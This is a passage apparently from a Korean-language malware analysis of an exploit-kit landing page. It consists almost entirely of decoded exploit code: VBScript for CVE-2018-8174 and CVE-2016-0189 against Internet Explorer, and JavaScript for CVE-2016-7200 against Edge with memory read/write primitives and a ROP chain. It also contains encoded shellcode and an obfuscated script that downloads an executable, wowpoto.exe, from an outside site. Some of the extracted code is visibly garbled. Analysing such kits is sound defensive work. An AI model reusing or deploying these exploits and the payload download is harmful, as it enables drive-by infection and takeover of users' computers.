    bd%ue6b8%ub811%ubfe2%u65b8%ud29b%u9a65%u96c0%u1bed%u65b8%uce98%u1bed%u27dd%uafa7%ued4
    3%udd2b%ue135%ufe50%u38d4%ue69a%u252f%uede3%uae34%u1f05%uf1d5%u099b%u65b0%ucab0%u33ed%
    u6588%ua5e2%ub065%uedf2%u6533%u65ea%u2bed%ub045%u2db7%uac06%u1111%u6011%ue0a0%u2f02%u
    0b97%u7656%u6410%u90e0%u0c36%ud89d%uc1f4") &Unescape(szURL) &Unescape(FNB(FNA(")))
    TEMPCODE=TEMPCODE & String((&h8000-LenB(TEMPCODE))/2,Unescape("%u4141"))
    GetShellcode=TEMPCODE
End Function
Function EscapeAddress(ByVal value)
    Dim High,Low
    High=FNC((value And &hfff0000)/&h10000,4)
    Low=FNC(value And &hfff,4)
    EscapeAddress=Unescape("%u" &Low &"%u" &High)
End Function
Function IArrDI
    Dim INDEXTEMP,IIIII,TEMPCODE,VARFI,VARCI,IIIII,IArrD
    IIII=FNC(NtContinueAddr,8)
    VARFI=Mid(IIIII,1,2)
    VARCI=Mid(IIIII,3,2)
    IIII=Mid(IIIII,5,2)
    IArrD=Mid(IIIII,7,2)
    TEMPCODE=""
    TEMPCODE=TEMPCODE &"%u0000%u" &IArrD &"00"
    For INDEXTEMP=1 To 3

```

```

        TEMPCODE=TEMPCODE &"%u" &VARCI &IIII
        TEMPCODE=TEMPCODE &"%u" &IArrD &VARFI

    Next
    TEMPCODE=TEMPCODE &"%u" &VARCI &IIII
    TEMPCODE=TEMPCODE &"%u00" &VARFI
    IArrDI=Unescape(TEMPCODE)
End Function

Function WrapShellcodeWithNtContinueContext(ShellcodeAddrParam)
    Dim TEMPCODE
    TEMPCODE=String((100334-65536),Unescape("%u4141"))
    TEMPCODE=TEMPCODE &EscapeAddress(ShellcodeAddrParam)
    TEMPCODE=TEMPCODE &EscapeAddress(ShellcodeAddrParam)
    TEMPCODE=TEMPCODE &EscapeAddress(&h3000)
    TEMPCODE=TEMPCODE &EscapeAddress(&h40)
    TEMPCODE=TEMPCODE &EscapeAddress(ShellcodeAddrParam-8)
    TEMPCODE=TEMPCODE &String(6,Unescape("%u4242"))
    TEMPCODE=TEMPCODE &IArrDI()
    TEMPCODE=TEMPCODE &String((&h80000-LenB(TEMPCODE))/2,Unescape("%u4141"))
    WrapShellcodeWithNtContinueContext=TEMPCODE
End Function

Function ExpandWithVirtualProtect(VirtualProtectAddrFake)
    Dim TEMPCODE
    Dim VARCII
    VARCII=VirtualProtectAddrFake+&h23
    TEMPCODE=""
    TEMPCODE=TEMPCODE &EscapeAddress(VARCII)
    TEMPCODE=TEMPCODE &String((&hb8-LenB(TEMPCODE))/2,Unescape("%u4141"))
    TEMPCODE=TEMPCODE &EscapeAddress(VirtualProtectAddr)
    TEMPCODE=TEMPCODE &EscapeAddress(&h1b)
    TEMPCODE=TEMPCODE &EscapeAddress(0)
    TEMPCODE=TEMPCODE &EscapeAddress(VirtualProtectAddrFake)
    TEMPCODE=TEMPCODE &EscapeAddress(&h23)
    TEMPCODE=TEMPCODE &String((&h400-LenB(TEMPCODE))/2,Unescape("%u4343"))

```



```

ExpandWithVirtualProtect=TEMPCODE

End Function

Function SetMemValue(valkey)
    array(index_vul)(index_a+2,0)(util_mem)=3
    array(index_vul)(index_a+2,0)(util_mem+8) = valkey
End Function

Function GetMemValue
array(index_vul)(index_a+2,0)(util_mem)=3
    GetMemValue=array(index_vul)(index_a+2,0)(util_mem+8)
End Function

Sub HeyHereWeGo
    array(index_vul)(index_a+2,0)(util_mem)=&h4d
    array(index_vul)(index_a+2,0)(util_mem+8)=0
    msgbox(util_mem)
End Sub

Function rw_primit()
    array(index_vul)(index_a+2,0)=fake_array
    array(index_b)(0,2)=CDBl("1.74088534731324E-310")
    array(index_vul)(index_a,0)=fake_str
    array(index_b)(0,0)=CDBl("6.36598737437801E-314")
    util_mem=array(index_vul)(index_a,0)
End Function

Function read
    read=LenB(array(index_vul)(index_a+2,0)(util_mem+8))
End Function

Function GetUint32(addr)
    Dim value
    array(index_vul)(index_a+2,0)(util_mem+8)=addr +4
    array(index_vul)(index_a+2,0)(util_mem)=8
    value=read()
    array(index_vul)(index_a+2,0)(util_mem)=3
    GetUint32 = value
End Function

```

```
Set cls = New MyClass
array(2)=cls

IsEmpty(array)

max_col=&h0ffffff

For i=0 To UBound(array)
    If UBound(array(i),1)-LBound(array(i),1)+1=max_col Then
        index_vul=i
        Exit For
    End If
Next

For i=0 To UBound(array(index_vul),1)
    Dim type1 ,type2 ,type3 ,type4
    type1=VarType(array(index_vul)(i,0))
    type2=VarType(array(index_vul)(i+1,0))
    type3=VarType(array(index_vul)(i+3,0))
    type4=VarType(array(index_vul)(i+4,0))
    If(type1 = 2 And type2 = 2 And type3 = 3 And type4 = 3) Then
        index_a=i+3
        array(index_vul)(index_a,0)="AAAA"
        Exit For
    End If
Next

For i=0 To UBound(array,1)
    If array(i)(0,0)=8 Then
        index_b=i
        Exit For
    End If
```

```

next

fake_array=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u00
00")

fake_str=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")
rw_primit()

vb_addr=LeakVBAAddr()

vbs_base=GetBaseByDOSmodeSearch(GetUint32(vb_addr))
msv_base=GetBaseFromImport(vbs_base,"msvcrt.dll")
krb_base=GetBaseFromImport(msv_base,"kernelbase.dll")
ntd_base=GetBaseFromImport(msv_base,"ntdll.dll")
VirtualProtectAddr=GetProcAddress(krb_base,"VirtualProtect")
NtContinueAddr=GetProcAddress(ntd_base,"NtContinue")

SetMemValue GetShellcode()
ShellcodeAddr=GetMemValue()+8

SetMemValue WrapShellcodeWithNtContinueContext(ShellcodeAddr)
VirtualProtectAddrFake=GetMemValue()+69596
SetMemValue ExpandWithVirtualProtect(VirtualProtectAddrFake)
ReuseCLASSI=GetMemValue()

HeyHereWeGo()

</script>

```

/MoBcQx.html

[VBScript 난독화 스크립트 디코딩 후]
 // MS IE 취약점을 악용하여 악성코드 다운로드

```
<script language="vbscript">
Dim IIII
Dim IIII(6),IIII(6)
Dim IIII
Dim IIII(40)
Dim IIIII,IIIIII
Dim IIII
Dim IIII,IIII
Dim IIIII,IIIIII
Dim NtContinueAddr,VirtualProtectAddr
IIII=195948557
IIIIII=Unescape("%u0001%u0880%u0001%u00"&"00%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")
IIIIII=Unescape("%u0000%u0000%u0000%u00"&"00%u0000%u0000%u00"&"00%u0000")
IIII=195890093
Function IIIII(Domain)
IIII=0
IIIIII=0
IIIIII=0
Id=CLng(Rnd*1000000)
IIII=CLng((&h27d+8231-&H225b)*Rnd)Mod (&h137d+443-&H152f)+(&h1c17+131-&H1c99)
If(Id+IIII)Mod (&h5c0+6421-&H1ed3)=(&h10ba+5264-&H254a) Then
IIII=IIII-(&h86d+6447-&H219b)
End If
IIII=CLng((&h2bd+6137-&H1a6d)*Rnd)Mod (&h769+4593-&H1940)+(&h1a08+2222-&H2255)
IIII=CLng((&h14e6+1728-&H1b5d)*Rnd)Mod (&hfa3+1513-&H1572)+(&h221c+947-&H256e)
IIII=Domain &"?" &Chr(IIII) &"=" &Id &"&" &Chr(IIII) &"=" &IIII
End Function
Function IIIII(ByVal IIII)
IIII=""
For index=0 To Len(IIII)-1
IIII=IIII &IIII(Asc(Mid(IIII,index+1,1)),2)
Next
IIII=IIII &"00"

```

```

If Len(IIII)/(&h15c6+3068-&H21c0) Mod (&h1264+2141-&H1abf)=(&hc93+6054-&H2438) Then
IIII=IIII &"00"
End If
For IIII=(&h1a1a+3208-&H26a2) To Len(IIII)/(&h1b47+331-&H1c8e)-(&h14b2+4131-&H24d4)
IIIIII=Mid(IIII,IIII*(&h576+1268-&Ha66)+(&ha64+6316-&H230f),(&ha49+1388-&Hfb3))
IIIIII=Mid(IIII,IIII*(&hf82+3732-&H1e12)+(&h210+2720-&Hcaf)+(&h4fa+5370-&H19f2),(&hf82+5508-&H2504))
IIII=IIII &"%u" &IIIIII &IIIIII
Next
End Function
Function IIII(ByVal Number,ByVal Length)
IIII=Hex(Number)
If Len(IIII)544106784 Or GetUInt32(IIII+(&ha2a+7373-&H268b))<>542330692
IIII=IIII-65536
Loop
GetBaseByDOSmodeSearch=IIII
End Function
Function StrCompWrapper(IIII,IIIIII)
Dim IIII,IIII
IIII=""
For IIII=(&ha2a+726-&Hd00) To Len(IIIIII)-(&h2e1+5461-&H1835)
IIII=IIII &Chr(IIII(IIII+IIII))
Next
StrCompWrapper=StrComp(UCase(IIII),UCase(IIIIII))
End Function
Function GetBaseFromImport(base_address,name_input)
Dim import_rva,nt_header,descriptor,import_dir
Dim IIIII
nt_header=GetUInt32(base_address+(&h3c))
import_rva=GetUInt32(base_address+nt_header+&h80)
import_dir=base_address+import_rva
descriptor=0
Do While True
Dim Name

```



```
Name=GetUInt32(import_dir+descriptor*(&h14)+&hc)
If Name=0 Then
  GetBaseFromImport=&hBAAD0000
  Exit Function
Else
  If StrCompWrapper(base_address+Name,name_input)=0 Then
    Exit Do
  End If
End If
descriptor=descriptor+1
Loop
IIII=GetUInt32(import_dir+descriptor*(&h14)+&h10)
GetBaseFromImport=GetBaseByDOSmodeSearch(GetUInt32(base_address+IIII))
End Function
Function GetProcAddr(dll_base,name)
  Dim p,export_dir,index
  Dim function_rvas,function_names,function_ordin
  Dim IIII
  p=GetUInt32(dll_base+&h3c)
  p=GetUInt32(dll_base+p+&h78)
  export_dir=dll_base+p
  function_rvas=dll_base+GetUInt32(export_dir+&h1c)
  function_names=dll_base+GetUInt32(export_dir+&h20)
  function_ordin=dll_base+GetUInt32(export_dir+&h24)
  index=0
  Do While True
    Dim III
    III=GetUInt32(function_names+index*4)
    If StrCompWrapper(dll_base+III,name)=0 Then
      Exit Do
    End If
    index=index+1
  Loop
```

```

IIIII=IIIII(function_ordin+index*2)
p=GetUInt32(function_rvas+IIIII*4)
GetProcAddress=dll_base+p
End Function
Function GetShellcode()
    IIII = U n e s c a p e ( " % u 0 0 0 0 % u 0 0 0 0 % u 0 0 0 0 % u 0 0 0 0 " )
    &Unescape("%u11eb%u4b5b%uc933%u10b9%u0001%u8000%u0b34%ue2ee%uebfa%ue805%uffea%uffff%u5707
    %ueeee%ub1ee%u27dd%u4f8a%ueede%ueeee%uae65%u65e2%uf29e%ub865%u65e6%uceb0%ud865%ua5d6%
    u9bf6%u651d%u6504%u8419%ub7ea%ua206%ueeee%u0cee%u8617%u8081%ueeee%u9b86%u829c%uba83%u
    f811%u0665%ud806%ueeee%u6dee%uce02%u3265%uce84%u11bd%ueab8%uea29%ub2ed%u8b9d%u299a%ue
    daa%u9bea%uc09e%u298b%uedaa%u96e6%uee8b%uddee%ube2e%ubdbe%ubeb9%ub811%u65fe%ube32%u11
    bd%ue6b8%ub811%ubfe2%u65b8%ud29b%u9a65%u96c0%u1bed%u65b8%uce98%u1bed%u27dd%uafa7%ued4
    3%udd2b%ue135%ufe50%u38d4%ue69a%u252f%uede3%uae34%u1f05%uf1d5%u099b%u65b0%ucab0%u33ed%
    u6588%ua5e2%ub065%uedf2%u6533%u65ea%u2bed%ub045%u2db7%uac06%u1111%u6011%ue0a0%u2f02%u
    0b97%u7656%u6410%u90e0%u0c36%ud89d%uc1f4")
    &Unescape(szURL)
    &Unescape("%u0000%u0000%u0000%u0000%u0000%ucc00%ucccc%ucccc%ucccc%ucccc%ucccc" &IIIII(IIIII("")))
    IIII=IIII & String((&h80000-LenB(IIII))/2,Unescape("%u4141"))
    GetShellcode=IIII
End Function
Function EscapeAddress(ByVal value)
Dim High,Low
High=IIII((value And &hfff0000)/&h10000,4)
Low=IIII(value And &hfff,4)
EscapeAddress=Unescape("%u" &Low &"%u" &High)
End Function
Function IIIII
Dim IIII,IIIII,IIII,IIIII,IIIII,IIIII,IIIII
IIIII=IIII(NtContinueAddr,8)
IIIII=Mid(IIIII,1,2)
IIIII=Mid(IIIII,3,2)
IIIII=Mid(IIIII,5,2)
IIIII=Mid(IIIII,7,2)
IIII=""

```

```

IIII=IIII &"%u0000%u" &IIII &"00"
For IIII=1 To 3
    IIII=IIII &"%u" &IIII &IIII
    IIII=IIII &"%u" &IIII &IIII
Next
IIII=IIII &"%u" &IIII &IIII
IIII=IIII &"%u00" &IIII
IIII=Unescape(IIII)
End Function
Function WrapShellcodeWithNtContinueContext(ShellcodeAddrParam)
    Dim IIII
    IIII=String((100334-65536),Unescape("%u4141"))
    IIII=IIII &EscapeAddress(ShellcodeAddrParam)
    IIII=IIII &EscapeAddress(ShellcodeAddrParam)
    IIII=IIII &EscapeAddress(&h3000)
    IIII=IIII &EscapeAddress(&h40)
    IIII=IIII &EscapeAddress(ShellcodeAddrParam-8)
    IIII=IIII &String(6,Unescape("%u4242"))
    IIII=IIII &IIII()
    IIII=IIII &String((&h80000-LenB(IIII))/2,Unescape("%u4141"))
    WrapShellcodeWithNtContinueContext=IIII
End Function
Function ExpandWithVirtualProtect(IIII)
    Dim IIII
    Dim IIIII
    IIIII=IIII+&h23
    IIII=""
    IIII=IIII &EscapeAddress(IIIIII)
    IIII=IIII &String((&hb8-LenB(IIII))/2,Unescape("%u4141"))
    IIII=IIII &EscapeAddress(VirtualProtectAddr)
    IIII=IIII &EscapeAddress(&h1b)
    IIII=IIII &EscapeAddress(0)
    IIII=IIII &EscapeAddress(IIII)

```

```
IIII=IIII &EscapeAddress(&h23)
IIII=IIII &String(((&400-LenB(IIII))/2,Unescape("%u4343"))
ExpandWithVirtualProtect=IIII
End Function
Sub ExecuteShellcode I
III.mem(IIII)=&h4d
IIII.mem(IIII+8)=0
msgbox(IIII)
End Sub
Class cla1
Private Sub Class_Terminate() // CVE-2018-8174 (MS IE 취약점)
Set IIIII(IIII)=IIII((&h1078+5473-&H25d8))
IIII=IIII+(&h14b5+2725-&H1f59)
IIII((&h79a+3680-&H15f9))=(&h69c+1650-&Hd0d)
End Sub
End Class
Class cla2
Private Sub Class_Terminate() // CVE-2018-8174 (MS IE 취약점)
Set IIIII(IIII)=IIII((&h15b+3616-&Hf7a))
IIII=IIII+(&h880+542-&Ha9d)
IIII((&h1f75+342-&H20ca))=(&had3+3461-&H1857)
End Sub
End Class
Class IIIII
End Class
Class IIIII
Dim mem
Function P
End Function
Function SetProp(Value)
mem=Value
SetProp=0
End Function
```

```
End Class
Class IIIII
Dim mem
Function P0123456789
P0123456789=LenB(mem(IIII+8))
End Function
Function SPP
End Function
End Class
Class IIIII
Public Default Property Get P
Dim III P=174088534690791e-324
For IIII=(&h7a0+4407-&H18d7) To (&h2eb+1143-&H75c)
IIII(IIII)=(&h2176+711-&H243d)
Next
Set IIII=New IIIII
IIII.mem=IIIIII
For IIII=(&h1729+3537-&H24fa) To (&h1df5+605-&H204c)
Set IIIII(IIII)=IIII
Next
End Property
End Class
Class IIIII P
Public Default Property Get P
Dim IIII
P=636598737289582e-328
For IIII=(&h1063+2314-&H196d) To (&h4ac+2014-&Hc84)
IIII(IIII)=(&h442+2598-&He68)
Next
Set IIII=New IIIII
IIII.mem=IIIIII
For
IIII=(&h7eb+3652-&H162f) To (&h3e8+1657-&Ha5b)
```



```
Set
IIII(IIII)=IIII
Next End
Property End Class
Set IIIII=New IIIII
Set IIIII=New IIIII
Sub UAF
For IIII=(&hfe8+3822-&H1ed6) To (&h8b+8633-&H2233)
Set IIIII(IIII)=New IIIII
Next
For IIII=(&haa1+6236-&H22e9) To (&h1437+3036-&H1fed)
Set IIIII(IIII)=New IIIII
Next
IIII=0
For IIII=0 To 6
ReDim IIII(1)
Set IIII(1)=New cla1
Erase IIII
Next
Set IIII=New IIIII
IIII=0
For IIII=0 To 6
ReDim IIII(1)
Set IIII(1)=New cla2
Erase IIII
Next Set IIIII=New IIIII
End Sub
Sub InitObjects
IIII.SetProp(IIIII)
IIIII.SetProp(IIIII)
IIII=IIIII.mem
End Sub
Sub StartExploit
```

```

UAF InitObjects
vb_addr=LeakVBAAddr()
vbs_base=GetBaseByDOSmodeSearch(GetUint32(vb_addr))
msv_base=GetBaseFromImport(vbs_base,"msvcrt.dll")
krb_base=GetBaseFromImport(msv_base,"kernelbase.dll")
ntd_base=GetBaseFromImport(msv_base,"ntdll.dll")
VirtualProtectAddr=GetProcAddress(krb_base,"VirtualProtect")
NtContinueAddr=GetProcAddress(ntd_base,"NtContinue")
SetMemValue GetShellcode()
ShellcodeAddr=GetMemValue()+8
SetMemValue WrapShellcodeWithNtContinueContext(ShellcodeAddr)
IIII=GetMemValue()+69596
SetMemValue ExpandWithVirtualProtect(IIII)
IIIII=GetMemValue()
ExecuteShellcode
End Sub
</script>

```

/TtMgZb.html

[CK Vip 난독화 스크립트 디코딩 후]

```

<script type="text/javascript">
function encode(){
    var omg = nblink(), x1 = new Array, x2 = "";
    for(var i=0;i<omg.length;i++) {
        if (omg[i]==178) {

        } else{
            x1[i] = omg[i]-178;
            x2 += String.fromCharCode(x1[i]);
        }
    }
    alert(x2);
}

```

```

}

var N = 67;
var X = "272C20362E262D376D34312A3726633126202B222D24266B376A";

var nburl = encode();

var                                     t                                     =
"127@150@134@149@140@147@151@99@143@132@145@138@152@132@138@136@128@101@153@1
33@150@166@181@172@179@183@101@129@80@77@76@169@184@177@166@183@172@178@177@
99@169@172@181@168@107@108@80@77@76@99@99@146@177@99@136@181@181@178@181@99
@149@168@182@184@176@168@99@145@168@187@183@80@77@76@99@99@182@168@183@99@1
82@171@168@175@175@128@166@181@168@164@183@168@178@165@173@168@166@183@107@10
1@150@171@168@175@175@113@132@179@179@175@172@166@164@183@172@178@177@101@108
@99@80@77@76@99@99@182@171@168@175@175@113@150@171@168@175@175@136@187@168@
166@184@183@168@99@101@166@176@167@113@168@187@168@101@111@99@101@99@114@180
@99@114@166@99@168@166@171@178@99@161@127@139@151@132@125@132@147@147@143@14
0@134@132@151@140@146@145@99@140@135@128@101@101@144@188@101@101@99@134@164@
179@183@172@178@177@128@101@101@188@168@182@101@101@161@129@129@134@125@159@1
59@145@151@113@139@151@132@105@105@168@166@171@178@99@161@127@183@168@187@183
@164@181@168@164@99@182@183@188@175@168@128@101@101@167@172@182@179@175@164@
188@125@177@178@177@168@101@101@99@172@167@128@175@182@171@167@172@166@117@11
5@115@155@179@164@170@168@161@129@161@129@183@179@172@181@166@182@114@161@127
@129@129@134@125@159@159@145@151@113@139@151@132@105@105@168@166@171@178@99@
168@182@178@175@166@113@186@178@167@177@172@186@129@129@134@125@159@159@145@1
51@113@139@151@132@105@105@168@166@171@178@99@108@143@172@107@177@184@149@113
@150@129@129@134@125@159@159@145@151@113@139@151@132@105@105@168@166@171@178
@99@115@115@120@99@179@168@168@175@182@113@183@179@172@181@166@182@186@129@1
29@134@125@159@159@145@151@113@139@151@132@105@105@168@166@171@178@99@117@111
@143@172@99@168@175@172@137@178@151@168@185@164@150@113@138@129@129@134@125@
159@159@145@151@113@139@151@132@105@105@168@166@171@178@99@108@188@167@178@13
3@168@182@177@178@179@182@168@181@113@147@107@168@183@172@181@154@113@138@129
@129@134@125@159@159@145@151@113@139@151@132@105@105@168@166@171@178@99@108@

```

107@177@168@179@146@113@138@129@129@134@125@159@159@145@151@113@139@151@132@105@105@168@166@171@178@99@116@128@168@179@188@151@113@138@129@129@134@125@159@159@145@151@113@139@151@132@105@105@168@166@171@178@99@118@128@168@167@178@144@113@138@129@129@134@125@159@159@145@151@113@139@151@132@105@105@168@166@171@178@99@108@101@101@176@164@168@181@183@150@113@133@135@146@135@132@101@101@107@183@166@168@173@165@146@168@183@164@168@181@134@128@138@99@183@168@150@129@129@134@125@159@159@145@151@113@139@151@132@105@105@168@166@171@178@99@108@107@167@177@168@150@113@147@129@129@134@125@159@159@145@151@113@139@151@132@105@105@168@166@171@178@99@115@111@149@172@111@101@101@151@136@138@101@101@99@177@168@179@146@113@147@129@129@134@125@159@159@145@151@113@139@151@132@105@105@168@166@171@178@99@108@101@101@147@151@151@139@143@144@155@113@117@175@176@187@182@144@101@101@107@183@166@168@173@165@146@168@183@164@168@181@134@128@147@99@183@168@150@129@129@134@125@159@159@145@151@113@139@151@132@105@105@168@166@171@178@99@108@101@101@168@187@168@113@104@183@172@176@168@125@193@121@111@117@104@183@172@177@172@159@125@134@101@101@107@168@182@164@134@143@128@143@172@129@129@134@125@159@159@145@151@113@139@151@132@105@105@168@166@171@178@99@108@108@108@188@164@181@181@132@168@177@172@143@167@176@166@107@167@177@184@178@133@152@107@188@164@181@181@132@168@177@172@143@167@176@166@107@168@182@164@134@143@128@149@172@129@129@134@125@159@159@145@151@113@139@151@132@105@105@168@166@171@178@99@108@168@177@172@143@167@177@164@176@176@178@166@113@188@144@107@183@172@175@179@150@128@188@164@181@181@132@168@177@172@143@167@176@166@129@129@134@125@159@159@145@151@113@139@151@132@105@105@168@166@171@178@99@115@115@115@119@111@115@115@115@119@99@178@151@168@185@178@176@113@186@178@167@177@172@186@129@129@134@125@159@159@145@151@113@139@151@132@105@105@168@166@171@178@99@183@187@168@145@99@168@176@184@182@168@181@99@181@178@181@181@168@99@177@178@129@129@134@125@159@159@145@151@113@139@151@132@105@105@168@166@171@178@99@161@129@182@165@185@128@168@170@164@184@170@177@164@175@99@183@179@172@181@166@182@161@127@161@127@114@183@168@187@183@164@181@168@164@161@129@161@127@182@166@181@172@179@183@99@175@164@177@170@184@164@170@168@128@185@165@182@161@129@167@178@166@184@176@168@177@183@113@186@181@172@183

```
@168@107@182@183@181@181@168@185@168@181@182@168@107@175@182@171@167@172@166
@117@115@115@155@179@164@170@168@113@185@164@175@184@168@108@108@161@127@114
@182@166@181@172@179@183@161@129@129@129@134@125@159@159@145@151@113@139@151
@132@101@111@99@101@101@111@99@101@101@111@99@115@80@77@76@99@99@182@171@16
8@175@175@113@150@171@168@175@175@136@187@168@166@184@183@168@99@101@166@176
@167@113@168@187@168@101@111@99@101@99@114@180@99@114@166@99@166@178@179@188
@99@101@101@104@150@188@182@183@168@176@149@178@178@183@104@159@182@188@182@
183@168@176@118@117@159@176@182@171@183@164@113@168@187@168@101@101@99@101@10
1@104@150@188@182@183@168@176@149@178@178@183@104@159@182@188@182@183@168@176
@118@117@159@172@168@187@179@175@178@181@168@113@168@187@168@101@101@99@105@
105@99@179@172@177@170@99@112@177@99@120@99@116@117@122@113@116@129@177@184@
175@99@105@105@99@183@164@182@174@174@172@175@175@99@114@172@176@99@172@168@
187@179@175@178@181@168@113@168@187@168@99@114@169@99@105@105@99@104@150@188
@182@183@168@176@149@178@178@183@104@159@182@188@182@183@168@176@118@117@159
@172@168@187@179@175@178@181@168@113@168@187@168@99@134@125@159@159@145@151@
113@139@151@132@99@101@99@105@99@177@165@184@181@175@99@105@99@101@101@111@9
9@101@101@111@99@101@101@111@99@115@80@77@76@168@177@167@99@169@184@177@166
@183@172@178@177@80@77@127@114@150@134@149@140@147@151@129";
```

```
function nblink(){var mini;mini=new
Array(282,294,294,290,236,225,225,297,297,297,224,297,289,297,290,289,294,289,224,277,289,287,225,297,289,
297,290,289,294,289,224,279,298,279,178); return mini;} // http://www.wowpoto.com/wowpoto.exe
</script>
```

```
<script type="text/vbscript">
    NBPw="@ "
    function overyou(x)
        For i=1 to Len(x) Step 2
            overyou=overyou & Chr(CLng("&H" & Mid(x,i,2)) Xor N)
        Next
    end function

    Function rechange(k)
```



```
NBWM=""
NB=Split(k,NBPw)
For i = 0 To UBound(NB)
NBWM=NBWM+Chr(eval(NB(i)-N))
Next
rechange=NBWM
End Function
Execute overyou(X)
</script>
<script type="text/vbscript"> // CVE-2016-0189 (MS IE 취약점)
Sub abc()
    szString="%3Cscript%20type=%22text/v"
    gzString=szString & "bscript%22%3E%0D%0A%20%20%20%20%20%20%20%20"
    document.write UnEscape(gzString & "Dim aw
Dim plunge(32)
Dim y(32)
prefix = "%" & "u41" & "41%" & "u414" & "1"
d = prefix & "%" & "u0016%" & "u4141%" & "u4141%" & "u4141%" & "u4242%" & "u4242"
b = String(64000, "D")
c = d & b
x = UnEscape(c)

Class ArrayWrapper
    Dim A()
    Private Sub Class_Initialize
        ReDim Preserve A(1, 2000)
    End Sub

    Public Sub Resize()
        ReDim Preserve A(1, 1)
    End Sub
End Class
```

```
Class Dummy
End Class

Function getAddr (arg1, s)
    aw = Null
    Set aw = New ArrayWrapper

    For i = 0 To 32
        Set plunge(i) = s
    Next

    Set aw.A(arg1, 2) = s

    Dim addr
    Dim i
    For i = 0 To 31
        If Asc(Mid(y(i), 3, 1)) = VarType(s) Then
            addr = strToInt(Mid(y(i), 3 + 4, 2))
        End If
        y(i) = Null
    Next

    If addr = Null Then
        document.location.href = document.location.href
        Return
    End If

    getAddr = addr
End Function

Function leakMem (arg1, addr)
    d = prefix & "%u0008%u4141%u4141%u4141"
    c = d & intToStr(addr) & b
```

```
x = UnEscape(c)
aw = Null
Set aw = New ArrayWrapper
Dim o
o = aw.A(arg1, 2)
leakMem = o
End Function

Sub overwrite (arg1, addr)
    d = prefix & "%u400C%u0000%u0000%u0000"
    c = d & intToStr(addr) & b
    x = UnEscape(c)
    aw = Null
    Set aw = New ArrayWrapper
    aw.A(arg1, 2) = CSng(0)
End Sub

Sub overwrite2 (arg1, addr)
    Dim emptyval
    d = prefix & "%u400C%u0000%u0000%u0000"
    c = d & intToStr(addr) & b
    x = UnEscape(c)
    aw = Null
    Set aw = New ArrayWrapper
    aw.A(arg1, 2) = emptyval
End Sub

Function exploit (arg1)
    Dim addr
    Dim csession
    Dim olescript
    Dim mem
    Set dm = New Dummy
```

```

        addr = getAddr(arg1, dm)
        mem = leakMem(arg1, addr + 8)
        csession = strToInt(Mid(mem, 3, 2))
        mem = leakMem(arg1, csession + 4)
        olescript = strToInt(Mid(mem, 1, 2))
        overwrite arg1, olescript + &H174
        fire()
        overwrite2 arg1, olescript + &H174
    End Function

Function triggerBug
    aw.Resize()
    Dim i
    For i = 0 To 32
        y(i) = Mid(x, 1, 24000)
    Next
End Function

</script>")
End Sub
Call abc()
</script>
<script type="text/javascript">
    function strToInt(s)
    {
        return s.charCodeAt(0) | (s.charCodeAt(1) << 16);
    }

    function intToStr(x)
    {
        return String["\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65"](x & 0xffff) + String.fromCharCode(x
>> 16);
    }

```

```

var o;

o = {"\x76\x61\x6C\x75\x65\x4F\x66": function () {
    triggerBug();
    return 1;
}};

setTimeout(function() {exploit(o);}, 50);
</script>

```

/JdZpGw.html

// MS Edge 취약점을 악용하여 악성코드 다운로드

```

<script> //CVE-2016-7200 (MS Edge 취약점)

    function PutDataAndGetAddr(t) {
        var d = new Array(1, 2, 3);
        class dummy {
            constructor() {
                return d;
            }
        }

        class MyArray extends Array {
            static get[Symbol.species]() {
                return
                dummy;
            }
        }

        var a = new Array({}, t, "theori", 7, 7, 7, 7, 7);

```

```
function test(i) {  
    return true;  
}  
  
a.__proto__ = MyArray.prototype;  
  
var o = a.filter(test);  
var h = [];  
  
for (item in o) {  
    var n = new Number(o[item]);  
    if (n < 0) {  
        n = n + 0x100000000;  
    }  
    h.push(n);  
}  
return [h[3], h[2]];  
}
```

</script>

<script>

```
function EscapeHexString(str) {  
    var finstr = "";  
    for(var x = 0; x < str.length; x += 2) {  
        finstr = finstr + "%u" + "00" + str.substr(x, 2);  
    }  
    return finstr;  
}
```

var omg = NBHexString();

var HLdl4 = omg["replace"](/@F9@AC@12@A7@26@50@A3@CC@24@92@11@D4@8D@B8@DA@FA/g, "");

84

```
var stack = stackLimit.sub(0xC000).add(10 * 1024 * 1024);
var retPtr = chakraBase.add(0x162A1D);
var retPtrAddr;

for (var i = 8; i < 32 * 1024; i += 8) {
    var val = Read64(stack.sub(i));
    if (val.equals(retPtr)) {

        retPtrAddr = stack.sub(i);
        break;
    }
}

var shcodeAddr = Read64((new Long(slo | 0, shi | 0, true).add(0x20)));
var filler = new Long(0, 0, true);
var rop = [
    chakraBase.add(0x1DA2F5),
    shcodeAddr.and(new Long(0FFFFFFF00, 0xFFFFFFFF, true)),
    new Long(0x1000, 0, true),
    new Long(0x40, 0, true),
    chakraBase.add(0x1DA2CB),
    filler, filler, filler, filler, filler, filler,
    new Long(0, 0, true),
    filler, filler, filler, filler, filler, filler,
    filler, filler, filler, filler, filler, filler,
    shcodeAddr
];

for (var i = 0; i < rop.length; ++i) {
    Write64(retPtrAddr.add(i * 8), rop[i]);
}
document.write();
function TriggerFillFromPrototypesBug(lo, hi) {
```

```
x[2] = lo;
x[3] = hi;
x[10] = (lo - 0x38) | 0;
x[11] = hi;
x[8] = 0x200;
x[14] = (lo - 0x58) | 0;
x[15] = hi;

var a = new Array(0x11111111, 0, 0x22222222, 0, 0x33333333, 0, lo, hi, 0x55555555, 0);

var handler = {
    getPrototypeOf: function(target, name) {

        return a;
    }
};

var p = new Proxy([], handler);
var b = [{}, [], "abc"];

b.__proto__ = p;
b.length = 4;

a.shift.call(b);
dv = b[2];
}

function SetAddress(addr) {
    x[14] = addr.low | 0;
    x[15] = addr.high | 0;
}

function Read32(addr) {
```

```
        SetAddress(addr);
        return new Long(fdv.getUint32.call(dv, 0, true), 0, true);
    }

    function Read64(addr) {
        SetAddress(addr);
        return new Long(fdv.getUint32.call(dv, 0, true), fdv.getUint32.call(dv, 4, true), true);
    }

    function Write32(addr, val) {
        SetAddress(addr);
        fdv.setUint32.call(dv, 0, val.low | 0, true);
    }

    function Write64(addr, val) {
        SetAddress(addr);
        fdv.setUint32.call(dv, 0, val.low | 0, true);
        fdv.setUint32.call(dv, 4, val.high | 0, true);
    }
}
```

</script>

o 악성코드 파일(wowpoto.exe) 상세분석 내용

